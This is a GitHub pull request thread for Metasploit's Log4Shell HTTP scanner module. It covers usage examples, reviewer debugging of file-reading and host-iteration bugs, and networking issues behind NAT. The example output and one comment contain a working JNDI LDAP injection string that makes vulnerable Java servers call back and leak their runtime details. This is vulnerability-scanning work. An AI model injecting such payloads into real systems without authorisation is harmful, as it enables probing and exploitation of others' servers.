Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Log4Shell HTTP Scanner #15958

Merged
merged 13 commits into from
Dec 16, 2021
Merged

Conversation

zeroSteiner
Copy link
Contributor

@zeroSteiner zeroSteiner commented Dec 13, 2021

This module isn't perfect, but it'll perform a generic scan of a given target for the Log4Shell vulnerability by injecting it into a series of Header fields as well as the URI path. In the future, additional checks should be added. Right now it works out of the box on Spring Boot and Struts2 (steps included in the module docs). Additional ideas on generic injection points would be greatly appreciated.

Metasploit will receive and process the LDAP query, making me pretty confident that there shouldn't be false positives. In addition to that the Java information including the vendor and version will be returned in the details.

Example

msf6 > use auxiliary/scanner/http/log4shell_scanner 
msf6 auxiliary(scanner/http/log4shell_scanner) > set RHOSTS 192.168.159.128
RHOSTS => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set SRVHOST 192.168.159.128
SRVHOST => 192.168.159.128
msf6 auxiliary(scanner/http/log4shell_scanner) > set RPORT 8080
RPORT => 8080
msf6 auxiliary(scanner/http/log4shell_scanner) > set TARGETURI /struts2-showcase/
TARGETURI => /struts2-showcase/
msf6 auxiliary(scanner/http/log4shell_scanner) > run
[*] Started service listener on 192.168.159.128:389 
[+] Log4Shell found via /struts2-showcase/%24%7bjndi%3aldap%3a%24%7b%3a%3a-/%7d/192.168.159.128%3a389/r7yol50kgg7be/%24%7bsys%3ajava.vendor%7d_%24%7bsys%3ajava.version%7d%7d/ (java: BellSoft_11.0.13)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/log4shell_scanner) > 

Testing

  • Setup a struts2 instance (docker steps in the module docs)
  • Run the scanning on multiple hosts (one or more should be vulnerable)
  • See that the affected hosts are identified as such

To Do

  • Write the module docs
  • Support an input wordlist for configuring the HTTP request fields
  • Track the vulnerability details
  • Support an input wordlist for HTTP end points

@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from 49c05a1 to 95e7859 Compare December 13, 2021 21:08
@sl0wz3r
Copy link

sl0wz3r commented Dec 13, 2021

Not getting expected return on known vulnerable servers. Will keep testing and validating as updates are made.

@zeroSteiner
Copy link
Contributor Author

zeroSteiner commented Dec 13, 2021

What service are you testing it against? Did you set the TARGETURI option? Is the service exploitable via HTTP headers or is it some other field? If it's via headers, is the header in the included word list?

@sl0wz3r
Copy link

sl0wz3r commented Dec 14, 2021

Testing against a vulnerable manage engine product. Did not set the TARGETURI option

@zeroSteiner
Copy link
Contributor Author

Can you provide an example HTTP request that triggers it on Manage Engine? I'll be able to figure out how to add it from there.

@bwatters-r7 bwatters-r7 self-assigned this Dec 14, 2021
@zeroSteiner zeroSteiner marked this pull request as ready for review December 14, 2021 22:38
@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from 7d3f298 to 7899a96 Compare December 14, 2021 22:46
@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from 7899a96 to ddc9407 Compare December 15, 2021 00:31
@zeroSteiner zeroSteiner changed the title [WIP] Log4Shell HTTP Scanner Log4Shell HTTP Scanner Dec 15, 2021
@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from ddc9407 to dd5e1a1 Compare December 15, 2021 13:45
@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from dd5e1a1 to 5dc8fa3 Compare December 15, 2021 14:06
@bwatters-r7
Copy link
Contributor

For what it is worth, I'm getting an error:

msf6 auxiliary(scanner/http/log4shell_scanner) > show options

Module options (auxiliary/scanner/http/log4shell_scanner):

   Name          Current Setting                       Required  Description
   ----          ---------------                       --------  -----------
   HEADERS_FILE  /home/tmoose/rapid7/metasploit-frame  no        File containing headers to check
                 work/data/exploits/CVE-2021-44228/ht
                 tp_headers.txt
   HTTP_METHOD   GET                                   yes       The HTTP method to use
   Proxies                                             no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS        10.5.134.107                          yes       The target host(s), see https://github.com/rapid7/metasploit-frame
                                                                 work/wiki/Using-Metasploit
   RPORT         8080                                  yes       The target port (TCP)
   SRVHOST       127.0.0.1                             yes       The local host or network interface to listen on. This must be an
                                                                 address on the local machine or 0.0.0.0 to listen on all addresses
                                                                 .
   SRVPORT       3890                                  yes       The local port to listen on.
   SSL           false                                 no        Negotiate SSL for incoming connections
   SSLCert                                             no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI     /                                     yes       The URI to scan
   THREADS       1                                     yes       The number of concurrent threads (max one per host)
   URIS_FILE                                           no        File containing additional URIs to check
   VHOST                                               no        HTTP server virtual host

msf6 auxiliary(scanner/http/log4shell_scanner) > run

[*] Started service listener on 127.0.0.1:3890 
[-] Auxiliary failed: NoMethodError undefined method `lines' for #<File:/home/tmoose/rapid7/metasploit-framework/data/exploits/CVE-2021-44228/http_headers.txt>
Did you mean?  lineno
[-] Call stack:
[-]   /home/tmoose/rapid7/metasploit-framework/modules/auxiliary/scanner/http/log4shell_scanner.rb:143:in `run_host_uri'
[-]   /home/tmoose/rapid7/metasploit-framework/modules/auxiliary/scanner/http/log4shell_scanner.rb:128:in `run_host'
[-]   /home/tmoose/rapid7/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:124:in `block (2 levels) in run'
[-]   /home/tmoose/rapid7/metasploit-framework/lib/msf/core/thread_manager.rb:105:in `block in spawn'
[-]   /home/tmoose/.rvm/gems/ruby-3.0.2@metasploit-framework/gems/logging-2.3.0/lib/logging/diagnostic_context.rb:474:in `block in create_with_logging_context'

When I pull the declaration/usage for lines I get:
image

If I replace lines.each with each_line it works great:

msf6 auxiliary(scanner/http/log4shell_scanner) > reload
[*] Reloading module...
msf6 auxiliary(scanner/http/log4shell_scanner) > run

[*] Started service listener on 127.0.0.1:3890 
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/log4shell_scanner) > 

diff:
image

Not sure if I'm using a different ruby or what, but it works 🤷

@timwr
Copy link
Contributor

timwr commented Dec 15, 2021

Does it need some kind of delay before closing the ldap service? Otherwise it might race itself on the last request

@zeroSteiner zeroSteiner force-pushed the feat/mod/log4shell-scanner branch from 05bd746 to 4cde008 Compare December 15, 2021 20:14
@bwatters-r7
Copy link
Contributor

Seeing some odd behavior.

  1. I still have to change the lines.each in the file pulling the HEADERS_FILE data to each_line. It got changed in the URI_FILE read, but not the HEADER_FILE read.
  2. For some reason, the loop on multiple targets is not incrementing. If I set one thread, it scans the same address over and over again:
msf6 auxiliary(scanner/http/log4shell_scanner) > run

[*] Started service listener on 127.0.0.1:3890 
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.

If I set threads to 16, I get the same 16 addresses over and over again:

msf6 auxiliary(scanner/http/log4shell_scanner) > set threads 16
threads => 16
msf6 auxiliary(scanner/http/log4shell_scanner) > run

[*] Started service listener on 127.0.0.1:3890 
[-] The connection with (10.5.134.5:8080) timed out.
[-] The connection with (10.5.134.4:8080) timed out.
[-] The connection with (10.5.134.7:8080) timed out.
[-] The connection with (10.5.134.9:8080) timed out.
[-] The connection with (10.5.134.10:8080) timed out.
[-] The connection with (10.5.134.12:8080) timed out.
[-] The connection with (10.5.134.15:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.2:8080) timed out.
[-] The connection with (10.5.134.1:8080) timed out.
[-] The connection with (10.5.134.3:8080) timed out.
[-] The connection with (10.5.134.6:8080) timed out.
[-] The connection with (10.5.134.14:8080) timed out.
[-] The connection with (10.5.134.11:8080) timed out.
[-] The connection with (10.5.134.8:8080) timed out.
[-] The connection with (10.5.134.13:8080) timed out.
[-] The connection with (10.5.134.5:8080) timed out.
[-] The connection with (10.5.134.4:8080) timed out.
[-] The connection with (10.5.134.7:8080) timed out.
[-] The connection with (10.5.134.9:8080) timed out.
[-] The connection with (10.5.134.11:8080) timed out.
[-] The connection with (10.5.134.2:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.
[-] The connection with (10.5.134.8:8080) timed out.
[-] The connection with (10.5.134.6:8080) timed out.
[-] The connection with (10.5.134.10:8080) timed out.
[-] The connection with (10.5.134.14:8080) timed out.
[-] The connection with (10.5.134.1:8080) timed out.
[-] The connection with (10.5.134.13:8080) timed out.
[-] The connection with (10.5.134.12:8080) timed out.
[-] The connection with (10.5.134.3:8080) timed out.
[-] The connection with (10.5.134.15:8080) timed out.
[-] The connection with (10.5.134.4:8080) timed out.
[-] The connection with (10.5.134.5:8080) timed out.
[-] The connection with (10.5.134.7:8080) timed out.
[-] The connection with (10.5.134.2:8080) timed out.
[-] The connection with (10.5.134.11:8080) timed out.
[-] The connection with (10.5.134.9:8080) timed out.
[-] The connection with (10.5.134.13:8080) timed out.
[-] The connection with (10.5.134.15:8080) timed out.
[-] The connection with (10.5.134.12:8080) timed out.
[-] The connection with (10.5.134.8:8080) timed out.
[-] The connection with (10.5.134.0:8080) timed out.

I was wondering if it was just sending repeated headers, but I am just
seeing the syn packets over and over again. It may still be trying a syn packet for each header and waiting for the timeout; perhaps if that's the case, we should catch the timeout from a filtered socket on the first header and then just go for the next address?

@bwatters-r7
Copy link
Contributor

bwatters-r7 commented Dec 15, 2021

Yup; I'm now seeing after a bunch of attempts to connect to the IP, it moves to the next set. Seems like we should catch that first timeout and stop yelling at the IP.

Edit: Could we alter the test method to return a value when it encounters a timeout, and then iterate IPs?

@zeroSteiner
Copy link
Contributor Author

The test method is called in quite a few places and I don't know if we should bail out if any anyone but the first request fails. Instead, I added an initial request to check that the service is online and responding before continuing on with the scan.

Copy link
Contributor

@timwr timwr left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔥

@sempervictus
Copy link
Contributor

Got this working on my PR with all the native bits, most an exploit in there too - need a hand with the serialized payload method.

end
end

token = rand_text_alpha_lower_numeric(8..32)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Not a blocker: Looks like there's a small possibility of creating a duplicate token here, presumably more likely when two threads create a token of length 8 😄

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

There's a Rex::Text method for this, why an internal impl?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Are you sure there's a Rex::Text method for this? I didn't see one that uses this character set. I wanted it lower and numeric to ensure that it was case insensitive.

@bwatters-r7 bwatters-r7 merged commit fd2f27a into rapid7:master Dec 16, 2021
@bwatters-r7
Copy link
Contributor

Release Notes

This module performs a generic scan of a given target for the Log4Shell vulnerability by injecting it into a series of Header fields as well as the URI path.

This module will scan an HTTP end point for the Log4Shell vulnerability by injecting a format message that will
trigger an LDAP connection to Metasploit. This module is a generic scanner and is only capable of identifying
instances that are vulnerable via one of the pre-determined HTTP request injection points. These points include
HTTP headers and the HTTP request path. Additinally URI paths for common, known-vulnerable applications are included
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
HTTP headers and the HTTP request path. Additinally URI paths for common, known-vulnerable applications are included
HTTP headers and the HTTP request path. Additionally URI paths for common, known-vulnerable applications are included

@BeanBagKing
Copy link

BeanBagKing commented Dec 21, 2021

I'm having issues using this module from one AWS system to another. Since both the source and target are behind NAT, and I can't seem to set the SRVHOST to the external IP, I can't get the callback. Looking through this thread, I see a few test snippits, and all look like they're using internal to internal hosts. Has anyone tried this with two external hosts (e.g. one AWS host targeting one Digital Ocean host, or some similar setup)?

I get the following errors depending on the SRVHOST setting:

SRVHOST = 0.0.0.0
[-] Auxiliary aborted due to failure: bad-config: The SRVHOST option must be set to a routable IP address.

SRVHOST = External IP
[-] Auxiliary aborted due to failure: bad-config: The address is already in use or unavailable: (<external ip>:389).

SRVHOST = eth0/internal (RFC 1918) IP
Works, "[*] Started service listener on 172.31.x.x:389". However, watching TCP dump on target system I see I see "{jndi:ldap://<internal IP>:389/<string>/....". Since these systems are on separate networks, an internal IP will never reach back to the external source system.

I'm not sure if I'm doing something wrong, or if this is just a scenario that hasn't been tested or accounted for.

@zeroSteiner
Copy link
Contributor Author

@BeanBagKing yeah right now the SRVHOST needs to be an address that the local MSF system can bind to and the remote can route too. We should be able to separate the bind address from the connection address pretty easily but I haven't done so yet.

If you want to raise a ticket requesting the feature I can work on it. In the mean time, there won't be a workaround without editing the module.

@sempervictus
Copy link
Contributor

I'll add that to the update PR this evening

@zeroSteiner
Copy link
Contributor Author

Thanks a lot @sempervictus. There should be an existing advanced option convention like ReverseBindAddress for service listeners like there is for payload handlers.

@sempervictus
Copy link
Contributor

@zeroSteiner - is it a convention or a method-chain? LPORT and such will fail to bind if they cant find the address in the switchboard. Happy to change it i you'd like (#15972)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

9 participants